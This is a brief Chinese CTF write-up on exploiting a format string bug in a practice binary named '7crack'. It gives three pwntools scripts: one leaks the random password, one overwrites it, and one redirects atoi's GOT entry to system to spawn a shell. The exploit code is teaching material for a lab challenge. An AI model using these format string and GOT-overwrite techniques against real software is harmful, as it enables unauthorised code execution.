check一下,发现开了NX和canary
拖进ida,发现可以用格式化字符串,我们需要输入名字与密码,如果密码正确则得到flag,password是一个随机数,只要在第二次输入的时候相等那就可以。
方法一:
首先我们要泄露密码的值,我们得先得到它的地址
在输入name时输入“AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p”当输出地址位0x41414141时即为格式化字符串的位置
所以我们先通过格式化字符串爆出地址后,接受该地址的内容,即为password,再将password输入即cat flag
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./7crack')
payload = p32(0x804A048)+'#'+'%10$s'+'#' #为了方便下面接收的时候进行识别,需要用一个字符来加以标志
print payload # H\xa0\x0#%10$s#
p.recvuntil('What your name ? ')
p.sendline(payload)
p.recvuntil("#")
r = p.recvuntil("#")
password = u32(r[:4])
print password
p.recvuntil("Your password :")
p.sendline(str(password))
p.interactive()
方法二:
找到password的地址,利用printf重写password
脚本
from pwn import *
context.log_level ='debug'
password = 0x0804A048
p = process('./7crack')
offset = 10
payload = fmtstr_payload(10,{password:9999})
p.sendafter('What your name ? ',payload)
p.sendafter('Your password :','9999')
p.recv()
p.interactive()
方法三:
https://blog.csdn.net/Maxmalloc/article/details/85109592
将system_plt 写入atoi_got
脚本
from pwn import *
context.log_level ='debug'
password = 0x0804A048
elf = ELF('./7crack')
p = process('./7crack')
atoi = elf.got['atoi']
system = elf.plt['system']
paylaod = fmtstr_payload(10,{atoi:system})
p.sendafter('What your name ? ',paylaod)
p.sendafter('Your password :','/bin/sh\x00')
p.interactive()